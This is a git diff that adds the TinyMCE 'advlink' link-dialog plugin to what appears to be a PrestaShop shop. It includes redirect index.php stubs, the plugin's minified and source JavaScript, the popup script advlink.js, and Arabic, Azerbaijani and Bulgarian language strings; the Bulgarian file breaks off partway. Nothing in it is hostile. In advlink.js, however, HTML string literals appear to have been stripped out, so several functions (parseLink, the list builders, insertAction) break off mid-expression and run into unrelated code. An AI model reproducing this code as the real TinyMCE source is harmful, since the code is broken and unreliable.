input {width:200px;} diff --git a/js/tiny_mce/plugins/advlink/css/index.php b/js/tiny_mce/plugins/advlink/css/index.php new file mode 100755 index 0000000..195fab2 --- /dev/null +++ b/js/tiny_mce/plugins/advlink/css/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; diff --git a/js/tiny_mce/plugins/advlink/editor_plugin.js b/js/tiny_mce/plugins/advlink/editor_plugin.js new file mode 100755 index 0000000..983fe5a --- /dev/null +++ b/js/tiny_mce/plugins/advlink/editor_plugin.js @@ -0,0 +1 @@ +(function(){tinymce.create("tinymce.plugins.AdvancedLinkPlugin",{init:function(a,b){this.editor=a;a.addCommand("mceAdvLink",function(){var c=a.selection;if(c.isCollapsed()&&!a.dom.getParent(c.getNode(),"A")){return}a.windowManager.open({file:b+"/link.htm",width:480+parseInt(a.getLang("advlink.delta_width",0)),height:400+parseInt(a.getLang("advlink.delta_height",0)),inline:1},{plugin_url:b})});a.addButton("link",{title:"advlink.link_desc",cmd:"mceAdvLink"});a.addShortcut("ctrl+k","advlink.advlink_desc","mceAdvLink");a.onNodeChange.add(function(d,c,f,e){c.setDisabled("link",e&&f.nodeName!="A");c.setActive("link",f.nodeName=="A"&&!f.name)})},getInfo:function(){return{longname:"Advanced link",author:"Moxiecode Systems AB",authorurl:"http://tinymce.moxiecode.com",infourl:"http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/advlink",version:tinymce.majorVersion+"."+tinymce.minorVersion}}});tinymce.PluginManager.add("advlink",tinymce.plugins.AdvancedLinkPlugin)})(); \ No newline at end of file diff --git a/js/tiny_mce/plugins/advlink/editor_plugin_src.js b/js/tiny_mce/plugins/advlink/editor_plugin_src.js new file mode 100755 index 0000000..32ea8f3 --- /dev/null +++ b/js/tiny_mce/plugins/advlink/editor_plugin_src.js @@ -0,0 +1,61 @@ +/** + * editor_plugin_src.js + * + * Copyright 2009, Moxiecode Systems AB + * Released under LGPL License. + * + * License: http://tinymce.moxiecode.com/license + * Contributing: http://tinymce.moxiecode.com/contributing + */ + +(function() { + tinymce.create('tinymce.plugins.AdvancedLinkPlugin', { + init : function(ed, url) { + this.editor = ed; + + // Register commands + ed.addCommand('mceAdvLink', function() { + var se = ed.selection; + + // No selection and not in link + if (se.isCollapsed() && !ed.dom.getParent(se.getNode(), 'A')) + return; + + ed.windowManager.open({ + file : url + '/link.htm', + width : 480 + parseInt(ed.getLang('advlink.delta_width', 0)), + height : 400 + parseInt(ed.getLang('advlink.delta_height', 0)), + inline : 1 + }, { + plugin_url : url + }); + }); + + // Register buttons + ed.addButton('link', { + title : 'advlink.link_desc', + cmd : 'mceAdvLink' + }); + + ed.addShortcut('ctrl+k', 'advlink.advlink_desc', 'mceAdvLink'); + + ed.onNodeChange.add(function(ed, cm, n, co) { + cm.setDisabled('link', co && n.nodeName != 'A'); + cm.setActive('link', n.nodeName == 'A' && !n.name); + }); + }, + + getInfo : function() { + return { + longname : 'Advanced link', + author : 'Moxiecode Systems AB', + authorurl : 'http://tinymce.moxiecode.com', + infourl : 'http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/advlink', + version : tinymce.majorVersion + "." + tinymce.minorVersion + }; + } + }); + + // Register plugin + tinymce.PluginManager.add('advlink', tinymce.plugins.AdvancedLinkPlugin); +})(); \ No newline at end of file diff --git a/js/tiny_mce/plugins/advlink/index.php b/js/tiny_mce/plugins/advlink/index.php new file mode 100755 index 0000000..195fab2 --- /dev/null +++ b/js/tiny_mce/plugins/advlink/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; diff --git a/js/tiny_mce/plugins/advlink/js/advlink.js b/js/tiny_mce/plugins/advlink/js/advlink.js new file mode 100755 index 0000000..2862e4c --- /dev/null +++ b/js/tiny_mce/plugins/advlink/js/advlink.js @@ -0,0 +1,539 @@ +/* Functions for the advlink plugin popup */ + +tinyMCEPopup.requireLangPack(); + +var templates = { + "window.open" : "window.open('${url}','${target}','${options}')" +}; + +function preinit() { + var url; + + if (url = tinyMCEPopup.getParam("external_link_list_url")) + document.write(''); +} + +function changeClass() { + var f = document.forms[0]; + + f.classes.value = getSelectValue(f, 'classlist'); +} + +function init() { + tinyMCEPopup.resizeToInnerSize(); + + var formObj = document.forms[0]; + var inst = tinyMCEPopup.editor; + var elm = inst.selection.getNode(); + var action = "insert"; + var html; + + document.getElementById('hrefbrowsercontainer').innerHTML = getBrowserHTML('hrefbrowser','href','file','advlink'); + document.getElementById('popupurlbrowsercontainer').innerHTML = getBrowserHTML('popupurlbrowser','popupurl','file','advlink'); + document.getElementById('targetlistcontainer').innerHTML = getTargetListHTML('targetlist','target'); + + // Link list + html = getLinkListHTML('linklisthref','href'); + if (html == "") + document.getElementById("linklisthrefrow").style.display = 'none'; + else + document.getElementById("linklisthrefcontainer").innerHTML = html; + + // Anchor list + html = getAnchorListHTML('anchorlist','href'); + if (html == "") + document.getElementById("anchorlistrow").style.display = 'none'; + else + document.getElementById("anchorlistcontainer").innerHTML = html; + + // Resize some elements + if (isVisible('hrefbrowser')) + document.getElementById('href').style.width = '260px'; + + if (isVisible('popupurlbrowser')) + document.getElementById('popupurl').style.width = '180px'; + + elm = inst.dom.getParent(elm, "A"); + if (elm == null) { + var prospect = inst.dom.create("p", null, inst.selection.getContent()); + if (prospect.childNodes.length === 1) { + elm = prospect.firstChild; + } + } + + if (elm != null && elm.nodeName == "A") + action = "update"; + + formObj.insert.value = tinyMCEPopup.getLang(action, 'Insert', true); + + setPopupControlsDisabled(true); + + if (action == "update") { + var href = inst.dom.getAttrib(elm, 'href'); + var onclick = inst.dom.getAttrib(elm, 'onclick'); + + // Setup form data + setFormValue('href', href); + setFormValue('title', inst.dom.getAttrib(elm, 'title')); + setFormValue('id', inst.dom.getAttrib(elm, 'id')); + setFormValue('style', inst.dom.getAttrib(elm, "style")); + setFormValue('rel', inst.dom.getAttrib(elm, 'rel')); + setFormValue('rev', inst.dom.getAttrib(elm, 'rev')); + setFormValue('charset', inst.dom.getAttrib(elm, 'charset')); + setFormValue('hreflang', inst.dom.getAttrib(elm, 'hreflang')); + setFormValue('dir', inst.dom.getAttrib(elm, 'dir')); + setFormValue('lang', inst.dom.getAttrib(elm, 'lang')); + setFormValue('tabindex', inst.dom.getAttrib(elm, 'tabindex', typeof(elm.tabindex) != "undefined" ? elm.tabindex : "")); + setFormValue('accesskey', inst.dom.getAttrib(elm, 'accesskey', typeof(elm.accesskey) != "undefined" ? elm.accesskey : "")); + setFormValue('type', inst.dom.getAttrib(elm, 'type')); + setFormValue('onfocus', inst.dom.getAttrib(elm, 'onfocus')); + setFormValue('onblur', inst.dom.getAttrib(elm, 'onblur')); + setFormValue('onclick', onclick); + setFormValue('ondblclick', inst.dom.getAttrib(elm, 'ondblclick')); + setFormValue('onmousedown', inst.dom.getAttrib(elm, 'onmousedown')); + setFormValue('onmouseup', inst.dom.getAttrib(elm, 'onmouseup')); + setFormValue('onmouseover', inst.dom.getAttrib(elm, 'onmouseover')); + setFormValue('onmousemove', inst.dom.getAttrib(elm, 'onmousemove')); + setFormValue('onmouseout', inst.dom.getAttrib(elm, 'onmouseout')); + setFormValue('onkeypress', inst.dom.getAttrib(elm, 'onkeypress')); + setFormValue('onkeydown', inst.dom.getAttrib(elm, 'onkeydown')); + setFormValue('onkeyup', inst.dom.getAttrib(elm, 'onkeyup')); + setFormValue('target', inst.dom.getAttrib(elm, 'target')); + setFormValue('classes', inst.dom.getAttrib(elm, 'class')); + + // Parse onclick data + if (onclick != null && onclick.indexOf('window.open') != -1) + parseWindowOpen(onclick); + else + parseFunction(onclick); + + // Select by the values + selectByValue(formObj, 'dir', inst.dom.getAttrib(elm, 'dir')); + selectByValue(formObj, 'rel', inst.dom.getAttrib(elm, 'rel')); + selectByValue(formObj, 'rev', inst.dom.getAttrib(elm, 'rev')); + selectByValue(formObj, 'linklisthref', href); + + if (href.charAt(0) == '#') + selectByValue(formObj, 'anchorlist', href); + + addClassesToList('classlist', 'advlink_styles'); + + selectByValue(formObj, 'classlist', inst.dom.getAttrib(elm, 'class'), true); + selectByValue(formObj, 'targetlist', inst.dom.getAttrib(elm, 'target'), true); + } else + addClassesToList('classlist', 'advlink_styles'); +} + +function checkPrefix(n) { + if (n.value && Validator.isEmail(n) && !/^\s*mailto:/i.test(n.value) && confirm(tinyMCEPopup.getLang('advlink_dlg.is_email'))) + n.value = 'mailto:' + n.value; + + if (/^\s*www\./i.test(n.value) && confirm(tinyMCEPopup.getLang('advlink_dlg.is_external'))) + n.value = 'http://' + n.value; +} + +function setFormValue(name, value) { + document.forms[0].elements[name].value = value; +} + +function parseWindowOpen(onclick) { + var formObj = document.forms[0]; + + // Preprocess center code + if (onclick.indexOf('return false;') != -1) { + formObj.popupreturn.checked = true; + onclick = onclick.replace('return false;', ''); + } else + formObj.popupreturn.checked = false; + + var onClickData = parseLink(onclick); + + if (onClickData != null) { + formObj.ispopup.checked = true; + setPopupControlsDisabled(false); + + var onClickWindowOptions = parseOptions(onClickData['options']); + var url = onClickData['url']; + + formObj.popupname.value = onClickData['target']; + formObj.popupurl.value = url; + formObj.popupwidth.value = getOption(onClickWindowOptions, 'width'); + formObj.popupheight.value = getOption(onClickWindowOptions, 'height'); + + formObj.popupleft.value = getOption(onClickWindowOptions, 'left'); + formObj.popuptop.value = getOption(onClickWindowOptions, 'top'); + + if (formObj.popupleft.value.indexOf('screen') != -1) + formObj.popupleft.value = "c"; + + if (formObj.popuptop.value.indexOf('screen') != -1) + formObj.popuptop.value = "c"; + + formObj.popuplocation.checked = getOption(onClickWindowOptions, 'location') == "yes"; + formObj.popupscrollbars.checked = getOption(onClickWindowOptions, 'scrollbars') == "yes"; + formObj.popupmenubar.checked = getOption(onClickWindowOptions, 'menubar') == "yes"; + formObj.popupresizable.checked = getOption(onClickWindowOptions, 'resizable') == "yes"; + formObj.popuptoolbar.checked = getOption(onClickWindowOptions, 'toolbar') == "yes"; + formObj.popupstatus.checked = getOption(onClickWindowOptions, 'status') == "yes"; + formObj.popupdependent.checked = getOption(onClickWindowOptions, 'dependent') == "yes"; + + buildOnClick(); + } +} + +function parseFunction(onclick) { + var formObj = document.forms[0]; + var onClickData = parseLink(onclick); + + // TODO: Add stuff here +} + +function getOption(opts, name) { + return typeof(opts[name]) == "undefined" ? "" : opts[name]; +} + +function setPopupControlsDisabled(state) { + var formObj = document.forms[0]; + + formObj.popupname.disabled = state; + formObj.popupurl.disabled = state; + formObj.popupwidth.disabled = state; + formObj.popupheight.disabled = state; + formObj.popupleft.disabled = state; + formObj.popuptop.disabled = state; + formObj.popuplocation.disabled = state; + formObj.popupscrollbars.disabled = state; + formObj.popupmenubar.disabled = state; + formObj.popupresizable.disabled = state; + formObj.popuptoolbar.disabled = state; + formObj.popupstatus.disabled = state; + formObj.popupreturn.disabled = state; + formObj.popupdependent.disabled = state; + + setBrowserDisabled('popupurlbrowser', state); +} + +function parseLink(link) { + link = link.replace(new RegExp(''', 'g'), "'"); + + var fnName = link.replace(new RegExp("\\s*([A-Za-z0-9\.]*)\\s*\\(.*", "gi"), "$1"); + + // Is function name a template function + var template = templates[fnName]; + if (template) { + // Build regexp + var variableNames = template.match(new RegExp("'?\\$\\{[A-Za-z0-9\.]*\\}'?", "gi")); + var regExp = "\\s*[A-Za-z0-9\.]*\\s*\\("; + var replaceStr = ""; + for (var i=0; i'); + for (var i=0; i' + name + ''; + } + + if (html == "") + return ""; + + html = ''; + + return html; +} + +function insertAction() { + var inst = tinyMCEPopup.editor; + var elm, elementArray, i; + + elm = inst.selection.getNode(); + checkPrefix(document.forms[0].href); + + elm = inst.dom.getParent(elm, "A"); + + // Remove element if there is no href + if (!document.forms[0].href.value) { + i = inst.selection.getBookmark(); + inst.dom.remove(elm, 1); + inst.selection.moveToBookmark(i); + tinyMCEPopup.execCommand("mceEndUndoLevel"); + tinyMCEPopup.close(); + return; + } + + // Create new anchor elements + if (elm == null) { + inst.getDoc().execCommand("unlink", false, null); + tinyMCEPopup.execCommand("mceInsertLink", false, "#mce_temp_url#", {skip_undo : 1}); + + elementArray = tinymce.grep(inst.dom.select("a"), function(n) {return inst.dom.getAttrib(n, 'href') == '#mce_temp_url#';}); + for (i=0; i' + tinyMCELinkList[i][0] + ''; + + html += ''; + + return html; + + // tinyMCE.debug('-- image list start --', html, '-- image list end --'); +} + +function getTargetListHTML(elm_id, target_form_element) { + var targets = tinyMCEPopup.getParam('theme_advanced_link_targets', '').split(';'); + var html = ''; + + html += ''; + + return html; +} + +// While loading +preinit(); +tinyMCEPopup.onInit.add(init); diff --git a/js/tiny_mce/plugins/advlink/js/index.php b/js/tiny_mce/plugins/advlink/js/index.php new file mode 100755 index 0000000..195fab2 --- /dev/null +++ b/js/tiny_mce/plugins/advlink/js/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; diff --git a/js/tiny_mce/plugins/advlink/langs/ar_dlg.js b/js/tiny_mce/plugins/advlink/langs/ar_dlg.js new file mode 100755 index 0000000..8a2bc7d --- /dev/null +++ b/js/tiny_mce/plugins/advlink/langs/ar_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ar.advlink_dlg',{"target_name":"\u0627\u0633\u0645 \u0627\u0644\u0647\u062f\u0641",classes:"\u0635\u0646\u0641",style:"\u0634\u0643\u0644",id:"Id","popup_position":"\u0645\u0648\u0642\u0639 (X/Y)",langdir:"\u0627\u062a\u062c\u0627\u0647 \u0627\u0644\u0644\u063a\u0629","popup_size":"\u062d\u062c\u0645","popup_dependent":"\u062e\u0627\u0636\u0639 (Mozilla/Firefox only)","popup_resizable":"\u062a\u063a\u064a\u064a\u0631 \u062d\u062c\u0645 \u0646\u0627\u0641\u0630\u0629","popup_location":"\u0639\u0631\u0636 \u0634\u0631\u064a\u0637 \u0627\u0644\u0645\u0648\u0642\u0639","popup_menubar":"\u0639\u0631\u0636 \u0634\u0631\u064a\u0637 \u0627\u0644\u0642\u0648\u0627\u0626\u0645","popup_toolbar":"\u0625\u0638\u0647\u0627\u0631 \u0634\u0631\u064a\u0637 \u0627\u0644\u0623\u062f\u0648\u0627\u062a","popup_statusbar":"\u0639\u0631\u0636 \u0634\u0631\u064a\u0637 \u0627\u0644\u062d\u0627\u0644\u0629","popup_scrollbars":"\u0639\u0631\u0636 \u0623\u0634\u0631\u0637\u0629 \u0627\u0644\u062a\u0645\u0631\u064a\u0631","popup_return":"\u0625\u062f\u0631\u0627\u062c \'\u0639\u0648\u062f\u0629 \u0643\u0627\u0630\u0628\u0629\' \'return false\'","popup_name":"\u0627\u0633\u0645 \u0627\u0644\u0646\u0627\u0641\u0630\u0629","popup_url":"\u0631\u0627\u0628\u0637 \u0637\u0641\u0648 \u0639\u0644\u0649 \u0627\u0644\u0633\u0637\u062d",popup:"\u062c\u0627\u0641\u0627 \u0633\u0643\u0631\u064a\u0628\u062a","target_blank":"\u0641\u064a \u0641\u062a\u062d \u0646\u0627\u0641\u0630\u0629 \u062c\u062f\u064a\u062f\u0629","target_top":"\u0641\u062a\u062d \u0641\u064a \u0627\u0644\u0625\u0637\u0627\u0631 \u0627\u0644\u0639\u0644\u0648\u064a (\u064a\u062d\u0644 \u0645\u062d\u0644 \u0643\u0627\u0641\u0629 \u0627\u0644\u0625\u0637\u0627\u0631\u0627\u062a)","target_parent":"\u0641\u062a\u062d \u0641\u064a \u0627\u0644\u0625\u0637\u0627\u0631 \u0627\u0644\u0623\u0635\u0644","target_same":"\u0641\u062a\u062d \u0641\u064a \u0647\u0630\u0627 \u0627\u0644\u0625\u0637\u0627\u0631","anchor_names":"\u0645\u0631\u062a\u0643\u0632\u0627\u062a","popup_opts":"\u062e\u064a\u0627\u0631\u0627\u062a","advanced_props":"\u062e\u0635\u0627\u0626\u0635 \u0645\u062a\u0642\u062f\u0645\u0629","event_props":"\u0623\u062d\u062f\u0627\u062b","popup_props":"\u062e\u0635\u0627\u0626\u0635 \u0645\u0631\u0628\u0639 \u0637\u0641\u0648 \u0639\u0644\u0649 \u0627\u0644\u0633\u0637\u062d ","general_props":"\u0627\u0644\u062e\u0635\u0627\u0626\u0635 \u0627\u0644\u0639\u0627\u0645\u0629","advanced_tab":"\u0645\u062a\u0642\u062f\u0645","events_tab":"\u0623\u062d\u062f\u0627\u062b","popup_tab":"\u064a\u0645\u0631\u0628\u0639 \u0637\u0641\u0648 \u0639\u0644\u0649 \u0627\u0644\u0633\u0637\u062d","general_tab":"\u0639\u0627\u0645",list:"\u0642\u0627\u0626\u0645\u0647 \u0627\u0644\u0645\u0648\u0627\u0642\u0639","is_external":"\u0627\u0644\u0631\u0627\u0628\u0637 \u064a\u0628\u062f\u0648 \u0627\u0646\u0647 \u0644\u0645\u0648\u0642\u0639 \u062e\u0627\u0631\u062c\u0649 \u0647\u0644 \u062a\u0631\u064a\u062f \u0627\u0646 \u0646\u0636\u0639 http://","is_email":"\u0627\u0644\u0631\u0627\u0628\u0637 \u064a\u0628\u062f\u0648 \u0628\u0631\u064a\u062f \u0627\u0644\u0627\u0643\u062a\u0631\u0648\u0646\u0649 \u0647\u0644 \u062a\u0631\u064a\u062f \u0627\u0646 \u0646\u0636\u0639 \u0648\u0633\u0645 \u0631\u0627\u0628\u0637 \u0627\u0644\u0628\u0631\u064a\u062f",titlefield:"\u0627\u0633\u0645 \u0627\u0644\u0631\u0627\u0628\u0637",target:"\u0627\u0644\u0647\u062f\u0641",url:"\u0639\u0646\u0648\u0627\u0646 \u0627\u0644\u0631\u0627\u0628\u0637",title:"\u0627\u062f\u062e\u0627\u0644 -\u062a\u0639\u062f\u064a\u0644 \u0631\u0627\u0628\u0637","link_list":"\u0642\u0627\u0626\u0645\u0629 \u0627\u0644\u0631\u0648\u0627\u0628\u0637",rtl:"\u0645\u0646 \u0627\u0644\u064a\u0645\u064a\u0646 \u0625\u0644\u0649 \u0627\u0644\u064a\u0633\u0627\u0631",ltr:"\u0645\u0646 \u0627\u0644\u064a\u0633\u0627\u0631 \u0625\u0644\u0649 \u0627\u0644\u064a\u0645\u064a\u0646",accesskey:"\u0645\u0641\u062a\u0627\u062d \u0627\u0644\u0648\u0635\u0648\u0644",tabindex:" Tab \u0641\u0647\u0631\u0633",rev:"\u0639\u0644\u0627\u0642\u0629 \u0627\u0644\u0647\u062f\u0641 \u0628\u0627\u0644\u0635\u0641\u062d\u0629",rel:"\u0639\u0644\u0627\u0642\u0629 \u0627\u0644\u0635\u0641\u062d\u0629 \u0628\u0627\u0644\u0647\u062f\u0641",mime:"\u0646\u0648\u0639 \u0645\u0644\u0641 \u0627\u0644\u0647\u062f\u0641",encoding:"\u0631\u0645\u0632 \u0627\u0644\u0644\u063a\u0629",langcode:"\u0643\u0648\u062f \u0627\u0644\u0644\u063a\u0647","target_langcode":"\u0644\u063a\u0629 \u0627\u0644\u0647\u062f\u0641",width:"\u0627\u0644\u0639\u0631\u0636",height:"\u0627\u0644\u0627\u0631\u062a\u0641\u0627\u0639"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/advlink/langs/az_dlg.js b/js/tiny_mce/plugins/advlink/langs/az_dlg.js new file mode 100755 index 0000000..fe0eee2 --- /dev/null +++ b/js/tiny_mce/plugins/advlink/langs/az_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('az.advlink_dlg',{"target_name":"H\u0259d\u0259f ad\u0131",classes:"Sinifl\u0259r",style:"Sil",id:"\u0130dentifikator","popup_position":"M\u00f6vqe (X/Y)",langdir:"Dil istiqam\u0259ti","popup_size":"\u00f6l\u00e7\u00fc","popup_dependent":"As\u0131l\u0131 olan (yaln\u0131z Mozilla/Firefox)","popup_resizable":"P\u0259nc\u0259r\u0259 \u00f6l\u00e7\u00fcs\u00fcn\u00fc d\u0259yi\u015fil\u0259n et","popup_location":"\u00dcnvan s\u0259trini g\u00f6st\u0259r","popup_menubar":"Menyu s\u0259trini g\u00f6st\u0259r","popup_toolbar":"Al\u0259tl\u0259r panelini g\u00f6st\u0259r","popup_statusbar":"M\u0259tn v\u0259ziyy\u0259tini g\u00f6st\u0259r","popup_scrollbars":"F\u0131rlanan\u0131n zolaqlar\u0131n\u0131 g\u00f6st\u0259r","popup_return":"\'return false\' \u0259lav\u0259 et","popup_name":"P\u0259nc\u0259r\u0259nin ad\u0131","popup_url":"\u00dcz\u0259 \u00e7\u0131xan p\u0259nc\u0259r\u0259nin \u00fcnvan\u0131",popup:"\u00dcz\u0259 \u00e7\u0131xan Javascript-p\u0259nc\u0259r\u0259","target_blank":"Yeni p\u0259nc\u0259r\u0259d\u0259 a\u00e7","target_top":"Yuxar\u0131 \u00e7\u0259r\u00e7iv\u0259d\u0259 a\u00e7 (dig\u0259rl\u0259rini d\u0259 doldurur)","target_parent":"Ana p\u0259nc\u0259r\u0259d\u0259 a\u00e7 / \u00e7\u0259r\u00e7iv\u0259","target_same":"Bu p\u0259nc\u0259r\u0259d\u0259 a\u00e7 / \u00e7\u0259r\u00e7iv\u0259","anchor_names":"L\u00f6vb\u0259r","popup_opts":"Parametrl\u0259r","advanced_props":"\u018flav\u0259 x\u00fcsusiyy\u0259tl\u0259r","event_props":"Hadis\u0259l\u0259r","popup_props":"\u00dcz\u0259 \u00e7\u0131xan p\u0259nc\u0259r\u0259l\u0259rin x\u00fcsusiyy\u0259tl\u0259ti","general_props":"\u00dcmumi x\u00fcsusiyy\u0259tl\u0259ri","advanced_tab":"\u018flav\u0259l\u0259r","events_tab":"Hadis\u0259l\u0259r","popup_tab":"\u00dcz\u0259 \u00e7\u0131xan p\u0259nc\u0259r\u0259","general_tab":"\u00dcmumi",list:"Ke\u00e7id siyah\u0131s\u0131","is_external":"Daxil edil\u0259n \u00fcnvan xarici ke\u00e7id\u0259 b\u0259nz\u0259yir. http:// prefiksini \u0259lav\u0259 etm\u0259k ist\u0259yirsiniz?","is_email":"Daxil edil\u0259n \u00fcnvan e-po\u00e7ta b\u0259nz\u0259yir. mailto: prefiksini \u0259lav\u0259 etm\u0259k ist\u0259yirsiniz?",titlefield:"Ad\u0131",target:"H\u0259d\u0259f",url:"Ke\u00e7id \u00fcnvan\u0131",title:"Ke\u00e7idi \u0259lav\u0259/redakt\u0259 et","link_list":"Ke\u00e7id siyah\u0131s\u0131",rtl:"Sa\u011fda-sola",ltr:"Solda-sa\u011fa",accesskey:"Giri\u015f klavi\u015fi",tabindex:"Hesab indeksi",rev:"H\u0259d\u0259fin p\u0259nc\u0259r\u0259y\u0259 m\u00fcnasib\u0259ti",rel:"P\u0259nc\u0259r\u0259nin h\u0259d\u0259f\u0259 m\u00fcnasib\u0259ti",mime:"H\u0259d\u0259fli MIME-n\u00f6v",encoding:"H\u0259d\u0259fli kodla\u015fd\u0131rma",langcode:"Dil kodu","target_langcode":"H\u0259d\u0259fli dil",width:"Width",height:"Height"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/advlink/langs/bg_dlg.js b/js/tiny_mce/plugins/advlink/langs/bg_dlg.js new file mode 100755 index 0000000..3b83fe4 --- /dev/null +++ b/js/tiny_mce/plugins/advlink/langs/bg_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('bg.advlink_dlg',{"target_name":"\u0418\u043c\u0435 \u043d\u0430 \u0446\u0435\u043b",classes:"\u041a\u043b\u0430\u0441\u043e\u0432\u0435",style:"\u0421\u0442\u0438\u043b",id:"Id","popup_position":"\u041f\u043e\u0437\u0438\u0446\u0438\u044f (X/Y)",langdir:"\u041f\u043e\u0441\u043e\u043a\u0430 \u043d\u0430 \u0435\u0437\u0438\u043a\u0430","popup_size":"\u0420\u0430\u0437\u043c\u0435\u0440","popup_dependent":"\u0417\u0430\u0432\u0438\u0441\u0438\u043c\u0438 (Mozilla/Firefox only)","popup_resizable":"\u0420\u0430\u0437\u0440\u0435\u0448\u0438 \u043f\u0440\u0435\u043e\u0440\u0430\u0437\u043c\u0435\u0440\u044f\u0432\u0430\u043d\u0435 \u043d\u0430 \u043f\u0440\u043e\u0437\u043e\u0440\u0446\u0438\u0442\u0435","popup_location":"\u041f\u043e\u043a\u0430\u0436\u0438 location bar","popup_menubar":"\u041f\u043e\u043a\u0430\u0436\u0438 \u043b\u0435\u043d\u0442\u0430\u0442\u0430 \u0441 \u043c\u0435\u043d\u044e\u0442\u0430","popup_toolbar":"\u041f\u043e\u043a\u0430\u0436\u0438 \u043b\u0435\u043d\u0442\u0438\u0442\u0435 \u0441 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0438","popup_statusbar":"\u041f\u043e\u043a\u0430\u0436\u0438 status bar","popup_scrollbars":"\u041f\u043e\u043a\u0430\u0436\u0438 \u0441\u043a\u0440\u043e\u043b\u0435\u0440\u0438","popup_return":"\u0412\u043c\u044a\u043a\u043d\u0438 \'return false\'","popup_name":"\u0418\u043c\u0435 \u043d\u0430 \u043f\u0440\u043e\u0437\u043e\u0440\u0435\u0446\u0430","popup_url":"URL \u043d\u0430 popup-\u0430",popup:"Javascript popup","target_blank":"\u041e\u0442\u0432\u043e\u0440\u0438 \u0432 \u043d\u043e\u0432 \u043f\u0440\u043e\u0437\u043e\u0440\u0435\u0446","target_top":"\u041e\u0442\u0432\u043e\u0440\u0438 \u0432 \u043d\u0430\u0439-\u0433\u043e\u0440\u043d\u0438\u044f \u0444\u0440\u0435\u0439\u043c (\u0437\u0430\u043c\u0435\u0441\u0442\u0432\u0430 \u0432\u0441\u0438\u0447\u043a\u0438 \u0444\u0440\u0435\u0439\u043c\u043e\u0432\u0435)","target_parent":"\u041e\u0442\u0432\u043e\u0440\u0438 \u0432 \u0433\u043e\u0440\u043d\u0438\u044f \u043f\u0440\u043e\u0437\u043e\u0440\u0435\u0446 / \u0444\u0440\u0435\u0439\u043c","target_same":"\u041e\u0442\u0432\u043e\u0440\u0438 \u0432 \u0442\u043e\u0437\u0438 \u043f\u0440\u043e\u0437\u043e\u0440\u0435\u0446 / \u0444\u0440\u0435\u0439\u043c","anchor_names":"\u041a\u043e\u0442\u0432\u0438","popup_opts":"\u041d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438","advanced_props":"\u041d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 \u0437\u0430 \u043d\u0430\u043f\u0440\u0435\u0434\u043d\u0430\u043b\u0438","event_props":"\u0421\u044a\u0431\u0438\u0442\u0438\u044f","popup_props":"Popup \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438","general_props":"\u041e\u0431\u0449\u0438 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438","advanced_tab":"\u0417\u0430 \u043d\u0430\u043f\u0440\u0435\u0434\u043d\u0430\u043b\u0438","events_tab":"\u0421\u044a\u0431\u0438\u0442\u0438\u044f","popup_tab":"Popup","general_tab":"\u041e\u0431\u0449\u0438",list:"\u0421\u043f\u0438\u0441\u044a\u043a \u0441 \u0445\u0438\u043f\u0435\u0440\u0432\u0440\u044a\u0437\u043a\u0438","is_external":"URL-\u0442\u043e, \u043a\u043e\u0435\u0442\u043e \u0432\u044a\u0432\u0435\u0434\u043e\u0445\u0442\u0435 \u0435 \u0432\u044a\u043d\u0448\u043d\u0430 \u0445\u0438\u043f\u0435\u0440\u0432\u0440\u044a\u0437\u043a\u0430, \u0436\u0435\u043b\u0430\u0435\u0442\u0435 \u043b\u0438 \u0434\u0430 \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u0435 \u043d\u0443\u0436\u043d\u0438\u044f\u0442 http:// \u043f\u0440\u0435\u0444\u0438\u043a\u0441?","is_email":"URL-\u0442\u043e, \u043a\u043e\u0435\u0442\u043e \u0432\u044a\u0432\u0435\u0434\u043e\u0445\u0442\u0435 \u0435 email \u0430\u0434\u0440\u0435\u0441, \u0436\u0435\u043b\u0430\u0435\u0442\u0435 \u043b\u0438 \u0434\u0430 \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u0435 \u043d\u0443\u0436\u043d\u0438\u044f\u0442 mailto: \u043f\u0440\u0435\u0444\u0438\u043a\u0441?",titlefield:"\u0417\u0430\u0433\u043b\u0430\u0432\u0438\u0435",target:"\u0426\u0435\u043b",url:"URL \u043d\u0430 \u0445\u0438\u043f\u0435\u0440\u0432\u0440\u044a\u0437\u043a\u0430",title:"\u0412\u043c\u044a\u043a\u043d\u0438/\u0420\u0435\u0434\u0430\u043a\u0442\u0438\u0440\u0430\u0439 